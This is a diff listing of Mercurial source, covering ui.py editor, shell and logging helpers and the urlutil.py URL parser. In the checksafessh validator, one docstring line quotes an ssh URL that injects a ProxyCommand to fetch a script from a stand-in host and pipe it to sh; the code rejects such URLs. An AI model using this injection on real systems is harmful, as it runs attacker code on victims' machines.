1813 1820 """
1814 1821 if self.verbose:
1815 1822 self._writemsg(self._fmsgout, type=b'note', *msg, **opts)
1816 1823
1817 1824 def debug(self, *msg, **opts):
1818 1825 """write debug message to output (if ui.debugflag is True)
1819 1826
1820 1827 This adds an output label of "ui.debug".
1821 1828 """
1822 1829 if self.debugflag:
1823 1830 self._writemsg(self._fmsgout, type=b'debug', *msg, **opts)
1824 1831 self.log(b'debug', b'%s', b''.join(msg))
1825 1832
1826 1833 # Aliases to defeat check-code.
1827 1834 statusnoi18n = status
1828 1835 notenoi18n = note
1829 1836 warnnoi18n = warn
1830 1837 writenoi18n = write
1831 1838
1832 1839 def edit(
1833 1840 self,
1834 1841 text,
1835 1842 user,
1836 1843 extra=None,
1837 1844 editform=None,
1838 1845 pending=None,
1839 1846 repopath=None,
1840 1847 action=None,
1841 1848 ):
1842 1849 if action is None:
1843 1850 self.develwarn(
1844 1851 b'action is None but will soon be a required '
1845 1852 b'parameter to ui.edit()'
1846 1853 )
1847 1854 extra_defaults = {
1848 1855 b'prefix': b'editor',
1849 1856 b'suffix': b'.txt',
1850 1857 }
1851 1858 if extra is not None:
1852 1859 if extra.get(b'suffix') is not None:
1853 1860 self.develwarn(
1854 1861 b'extra.suffix is not None but will soon be '
1855 1862 b'ignored by ui.edit()'
1856 1863 )
1857 1864 extra_defaults.update(extra)
1858 1865 extra = extra_defaults
1859 1866
1860 1867 if action == b'diff':
1861 1868 suffix = b'.diff'
1862 1869 elif action:
1863 1870 suffix = b'.%s.hg.txt' % action
1864 1871 else:
1865 1872 suffix = extra[b'suffix']
1866 1873
1867 1874 rdir = None
1868 1875 if self.configbool(b'experimental', b'editortmpinhg'):
1869 1876 rdir = repopath
1870 1877 (fd, name) = pycompat.mkstemp(
1871 1878 prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir
1872 1879 )
1873 1880 try:
1874 1881 with os.fdopen(fd, 'wb') as f:
1875 1882 f.write(util.tonativeeol(text))
1876 1883
1877 1884 environ = {b'HGUSER': user}
1878 1885 if b'transplant_source' in extra:
1879 1886 environ.update(
1880 1887 {b'HGREVISION': hex(extra[b'transplant_source'])}
1881 1888 )
1882 1889 for label in (b'intermediate-source', b'source', b'rebase_source'):
1883 1890 if label in extra:
1884 1891 environ.update({b'HGREVISION': extra[label]})
1885 1892 break
1886 1893 if editform:
1887 1894 environ.update({b'HGEDITFORM': editform})
1888 1895 if pending:
1889 1896 environ.update({b'HG_PENDING': pending})
1890 1897
1891 1898 editor = self.geteditor()
1892 1899
1893 1900 self.system(
1894 1901 b"%s \"%s\"" % (editor, name),
1895 1902 environ=environ,
1896 1903 onerr=error.CanceledError,
1897 1904 errprefix=_(b"edit failed"),
1898 1905 blockedtag=b'editor',
1899 1906 )
1900 1907
1901 1908 with open(name, 'rb') as f:
1902 1909 t = util.fromnativeeol(f.read())
1903 1910 finally:
1904 1911 os.unlink(name)
1905 1912
1906 1913 return t
1907 1914
1908 1915 def system(
1909 1916 self,
1910 1917 cmd,
1911 1918 environ=None,
1912 1919 cwd=None,
1913 1920 onerr=None,
1914 1921 errprefix=None,
1915 1922 blockedtag=None,
1916 1923 ):
1917 1924 """execute shell command with appropriate output stream. command
1918 1925 output will be redirected if fout is not stdout.
1919 1926
1920 1927 if command fails and onerr is None, return status, else raise onerr
1921 1928 object as exception.
1922 1929 """
1923 1930 if blockedtag is None:
1924 1931 # Long cmds tend to be because of an absolute path on cmd. Keep
1925 1932 # the tail end instead
1926 1933 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1927 1934 blockedtag = b'unknown_system_' + cmdsuffix
1928 1935 out = self._fout
1929 1936 if any(s[1] for s in self._bufferstates):
1930 1937 out = self
1931 1938 with self.timeblockedsection(blockedtag):
1932 1939 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1933 1940 if rc and onerr:
1934 1941 errmsg = b'%s %s' % (
1935 1942 procutil.shellsplit(cmd)[0],
1936 1943 procutil.explainexit(rc),
1937 1944 )
1938 1945 if errprefix:
1939 1946 errmsg = b'%s: %s' % (errprefix, errmsg)
1940 1947 raise onerr(errmsg)
1941 1948 return rc
1942 1949
1943 1950 def _runsystem(self, cmd, environ, cwd, out):
1944 1951 """actually execute the given shell command (can be overridden by
1945 1952 extensions like chg)"""
1946 1953 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
1947 1954
1948 1955 def traceback(self, exc=None, force=False):
1949 1956 """print exception traceback if traceback printing enabled or forced.
1950 1957 only to call in exception handler. returns true if traceback
1951 1958 printed."""
1952 1959 if self.tracebackflag or force:
1953 1960 if exc is None:
1954 1961 exc = sys.exc_info()
1955 1962 cause = getattr(exc[1], 'cause', None)
1956 1963
1957 1964 if cause is not None:
1958 1965 causetb = traceback.format_tb(cause[2])
1959 1966 exctb = traceback.format_tb(exc[2])
1960 1967 exconly = traceback.format_exception_only(cause[0], cause[1])
1961 1968
1962 1969 # exclude frame where 'exc' was chained and rethrown from exctb
1963 1970 self.write_err(
1964 1971 b'Traceback (most recent call last):\n',
1965 1972 encoding.strtolocal(''.join(exctb[:-1])),
1966 1973 encoding.strtolocal(''.join(causetb)),
1967 1974 encoding.strtolocal(''.join(exconly)),
1968 1975 )
1969 1976 else:
1970 1977 output = traceback.format_exception(exc[0], exc[1], exc[2])
1971 1978 self.write_err(encoding.strtolocal(''.join(output)))
1972 1979 return self.tracebackflag or force
1973 1980
1974 1981 def geteditor(self):
1975 1982 '''return editor to use'''
1976 1983 if pycompat.sysplatform == b'plan9':
1977 1984 # vi is the MIPS instruction simulator on Plan 9. We
1978 1985 # instead default to E to plumb commit messages to
1979 1986 # avoid confusion.
1980 1987 editor = b'E'
1981 1988 elif pycompat.isdarwin:
1982 1989 # vi on darwin is POSIX compatible to a fault, and that includes
1983 1990 # exiting non-zero if you make any mistake when running an ex
1984 1991 # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1,
1985 1992 # while s/vi/vim/ doesn't.
1986 1993 editor = b'vim'
1987 1994 else:
1988 1995 editor = b'vi'
1989 1996 return encoding.environ.get(b"HGEDITOR") or self.config(
1990 1997 b"ui", b"editor", editor
1991 1998 )
1992 1999
1993 2000 @util.propertycache
1994 2001 def _progbar(self):
1995 2002 """setup the progbar singleton to the ui object"""
1996 2003 if (
1997 2004 self.quiet
1998 2005 or self.debugflag
1999 2006 or self.configbool(b'progress', b'disable')
2000 2007 or not progress.shouldprint(self)
2001 2008 ):
2002 2009 return None
2003 2010 return getprogbar(self)
2004 2011
2005 2012 def _progclear(self):
2006 2013 """clear progress bar output if any. use it before any output"""
2007 2014 if not haveprogbar(): # nothing loaded yet
2008 2015 return
2009 2016 if self._progbar is not None and self._progbar.printed:
2010 2017 self._progbar.clear()
2011 2018
2012 2019 def makeprogress(self, topic, unit=b"", total=None):
2013 2020 """Create a progress helper for the specified topic"""
2014 2021 if getattr(self._fmsgerr, 'structured', False):
2015 2022 # channel for machine-readable output with metadata, just send
2016 2023 # raw information
2017 2024 # TODO: consider porting some useful information (e.g. estimated
2018 2025 # time) from progbar. we might want to support update delay to
2019 2026 # reduce the cost of transferring progress messages.
2020 2027 def updatebar(topic, pos, item, unit, total):
2021 2028 self._fmsgerr.write(
2022 2029 None,
2023 2030 type=b'progress',
2024 2031 topic=topic,
2025 2032 pos=pos,
2026 2033 item=item,
2027 2034 unit=unit,
2028 2035 total=total,
2029 2036 )
2030 2037
2031 2038 elif self._progbar is not None:
2032 2039 updatebar = self._progbar.progress
2033 2040 else:
2034 2041
2035 2042 def updatebar(topic, pos, item, unit, total):
2036 2043 pass
2037 2044
2038 2045 return scmutil.progress(self, updatebar, topic, unit, total)
2039 2046
2040 2047 def getlogger(self, name):
2041 2048 """Returns a logger of the given name; or None if not registered"""
2042 2049 return self._loggers.get(name)
2043 2050
2044 2051 def setlogger(self, name, logger):
2045 2052 """Install logger which can be identified later by the given name
2046 2053
2047 2054 More than one loggers can be registered. Use extension or module
2048 2055 name to uniquely identify the logger instance.
2049 2056 """
2050 2057 self._loggers[name] = logger
2051 2058
2052 2059 def log(self, event, msgfmt, *msgargs, **opts):
2053 2060 """hook for logging facility extensions
2054 2061
2055 2062 event should be a readily-identifiable subsystem, which will
2056 2063 allow filtering.
2057 2064
2058 2065 msgfmt should be a newline-terminated format string to log, and
2059 2066 *msgargs are %-formatted into it.
2060 2067
2061 2068 **opts currently has no defined meanings.
2062 2069 """
2063 2070 if not self._loggers:
2064 2071 return
2065 2072 activeloggers = [
2066 2073 l for l in pycompat.itervalues(self._loggers) if l.tracked(event)
2067 2074 ]
2068 2075 if not activeloggers:
2069 2076 return
2070 2077 msg = msgfmt % msgargs
2071 2078 opts = pycompat.byteskwargs(opts)
2072 2079 # guard against recursion from e.g. ui.debug()
2073 2080 registeredloggers = self._loggers
2074 2081 self._loggers = {}
2075 2082 try:
2076 2083 for logger in activeloggers:
2077 2084 logger.log(self, event, msg, opts)
2078 2085 finally:
2079 2086 self._loggers = registeredloggers
2080 2087
2081 2088 def label(self, msg, label):
2082 2089 """style msg based on supplied label
2083 2090
2084 2091 If some color mode is enabled, this will add the necessary control
2085 2092 characters to apply such color. In addition, 'debug' color mode adds
2086 2093 markup showing which label affects a piece of text.
2087 2094
2088 2095 ui.write(s, 'label') is equivalent to
2089 2096 ui.write(ui.label(s, 'label')).
2090 2097 """
2091 2098 if self._colormode is not None:
2092 2099 return color.colorlabel(self, msg, label)
2093 2100 return msg
2094 2101
2095 2102 def develwarn(self, msg, stacklevel=1, config=None):
2096 2103 """issue a developer warning message
2097 2104
2098 2105 Use 'stacklevel' to report the offender some layers further up in the
2099 2106 stack.
2100 2107 """
2101 2108 if not self.configbool(b'devel', b'all-warnings'):
2102 2109 if config is None or not self.configbool(b'devel', config):
2103 2110 return
2104 2111 msg = b'devel-warn: ' + msg
2105 2112 stacklevel += 1 # get in develwarn
2106 2113 if self.tracebackflag:
2107 2114 util.debugstacktrace(msg, stacklevel, self._ferr, self._fout)
2108 2115 self.log(
2109 2116 b'develwarn',
2110 2117 b'%s at:\n%s'
2111 2118 % (msg, b''.join(util.getstackframes(stacklevel))),
2112 2119 )
2113 2120 else:
2114 2121 curframe = inspect.currentframe()
2115 2122 calframe = inspect.getouterframes(curframe, 2)
2116 2123 fname, lineno, fmsg = calframe[stacklevel][1:4]
2117 2124 fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg)
2118 2125 self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg))
2119 2126 self.log(
2120 2127 b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg
2121 2128 )
2122 2129
2123 2130 # avoid cycles
2124 2131 del curframe
2125 2132 del calframe
2126 2133
2127 2134 def deprecwarn(self, msg, version, stacklevel=2):
2128 2135 """issue a deprecation warning
2129 2136
2130 2137 - msg: message explaining what is deprecated and how to upgrade,
2131 2138 - version: last version where the API will be supported,
2132 2139 """
2133 2140 if not (
2134 2141 self.configbool(b'devel', b'all-warnings')
2135 2142 or self.configbool(b'devel', b'deprec-warn')
2136 2143 ):
2137 2144 return
2138 2145 msg += (
2139 2146 b"\n(compatibility will be dropped after Mercurial-%s,"
2140 2147 b" update your code.)"
2141 2148 ) % version
2142 2149 self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn')
2143 2150
2144 2151 def exportableenviron(self):
2145 2152 """The environment variables that are safe to export, e.g. through
2146 2153 hgweb.
2147 2154 """
2148 2155 return self._exportableenviron
2149 2156
2150 2157 @contextlib.contextmanager
2151 2158 def configoverride(self, overrides, source=b""):
2152 2159 """Context manager for temporary config overrides
2153 2160 `overrides` must be a dict of the following structure:
2154 2161 {(section, name) : value}"""
2155 2162 backups = {}
2156 2163 try:
2157 2164 for (section, name), value in overrides.items():
2158 2165 backups[(section, name)] = self.backupconfig(section, name)
2159 2166 self.setconfig(section, name, value, source)
2160 2167 yield
2161 2168 finally:
2162 2169 for __, backup in backups.items():
2163 2170 self.restoreconfig(backup)
2164 2171 # just restoring ui.quiet config to the previous value is not enough
2165 2172 # as it does not update ui.quiet class member
2166 2173 if (b'ui', b'quiet') in overrides:
2167 2174 self.fixconfig(section=b'ui')
2168 2175
2169 2176 def estimatememory(self):
2170 2177 """Provide an estimate for the available system memory in Bytes.
2171 2178
2172 2179 This can be overriden via ui.available-memory. It returns None, if
2173 2180 no estimate can be computed.
2174 2181 """
2175 2182 value = self.config(b'ui', b'available-memory')
2176 2183 if value is not None:
2177 2184 try:
2178 2185 return util.sizetoint(value)
2179 2186 except error.ParseError:
2180 2187 raise error.ConfigError(
2181 2188 _(b"ui.available-memory value is invalid ('%s')") % value
2182 2189 )
2183 2190 return util._estimatememory()
2184 2191
2185 2192
2186 2193 # we instantiate one globally shared progress bar to avoid
2187 2194 # competing progress bars when multiple UI objects get created
2188 2195 _progresssingleton = None
2189 2196
2190 2197
2191 2198 def getprogbar(ui):
2192 2199 global _progresssingleton
2193 2200 if _progresssingleton is None:
2194 2201 # passing 'ui' object to the singleton is fishy,
2195 2202 # this is how the extension used to work but feel free to rework it.
2196 2203 _progresssingleton = progress.progbar(ui)
2197 2204 return _progresssingleton
2198 2205
2199 2206
2200 2207 def haveprogbar():
2201 2208 return _progresssingleton is not None
2202 2209
2203 2210
2204 2211 def _selectmsgdests(ui):
2205 2212 name = ui.config(b'ui', b'message-output')
2206 2213 if name == b'channel':
2207 2214 if ui.fmsg:
2208 2215 return ui.fmsg, ui.fmsg
2209 2216 else:
2210 2217 # fall back to ferr if channel isn't ready so that status/error
2211 2218 # messages can be printed
2212 2219 return ui.ferr, ui.ferr
2213 2220 if name == b'stdio':
2214 2221 return ui.fout, ui.ferr
2215 2222 if name == b'stderr':
2216 2223 return ui.ferr, ui.ferr
2217 2224 raise error.Abort(b'invalid ui.message-output destination: %s' % name)
2218 2225
2219 2226
2220 2227 def _writemsgwith(write, dest, *args, **opts):
2221 2228 """Write ui message with the given ui._write*() function
2222 2229
2223 2230 The specified message type is translated to 'ui.<type>' label if the dest
2224 2231 isn't a structured channel, so that the message will be colorized.
2225 2232 """
2226 2233 # TODO: maybe change 'type' to a mandatory option
2227 2234 if 'type' in opts and not getattr(dest, 'structured', False):
2228 2235 opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type')
2229 2236 write(dest, *args, **opts)
@@ -1,886 +1,895 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 448 def list_paths(ui, target_path=None):
449 449 """list all the (name, paths) in the passed ui"""
450 450 result = []
451 451 if target_path is None:
452 452 for name, paths in sorted(pycompat.iteritems(ui.paths)):
453 453 for p in paths:
454 454 result.append((name, p))
455 455
456 456 else:
457 457 for path in ui.paths.get(target_path, []):
458 458 result.append((target_path, path))
459 459 return result
460 460
461 461
462 462 def try_path(ui, url):
463 463 """try to build a path from a url
464 464
465 465 Return None if no Path could built.
466 466 """
467 467 try:
468 468 # we pass the ui instance are warning might need to be issued
469 469 return path(ui, None, rawloc=url)
470 470 except ValueError:
471 471 return None
472 472
473 473
474 474 def get_push_paths(repo, ui, dests):
475 475 """yields all the `path` selected as push destination by `dests`"""
476 476 if not dests:
477 477 if b'default-push' in ui.paths:
478 478 for p in ui.paths[b'default-push']:
479 479 yield p
480 480 elif b'default' in ui.paths:
481 481 for p in ui.paths[b'default']:
482 482 yield p
483 483 else:
484 484 raise error.ConfigError(
485 485 _(b'default repository not configured!'),
486 486 hint=_(b"see 'hg help config.paths'"),
487 487 )
488 488 else:
489 489 for dest in dests:
490 490 if dest in ui.paths:
491 491 for p in ui.paths[dest]:
492 492 yield p
493 493 else:
494 494 path = try_path(ui, dest)
495 495 if path is None:
496 496 msg = _(b'repository %s does not exist')
497 497 msg %= dest
498 498 raise error.RepoError(msg)
499 499 yield path
500 500
501 501
502 502 def get_pull_paths(repo, ui, sources, default_branches=()):
503 503 """yields all the `(path, branch)` selected as pull source by `sources`"""
504 504 if not sources:
505 505 sources = [b'default']
506 506 for source in sources:
507 507 if source in ui.paths:
508 508 for p in ui.paths[source]:
509 509 yield parseurl(p.rawloc, default_branches)
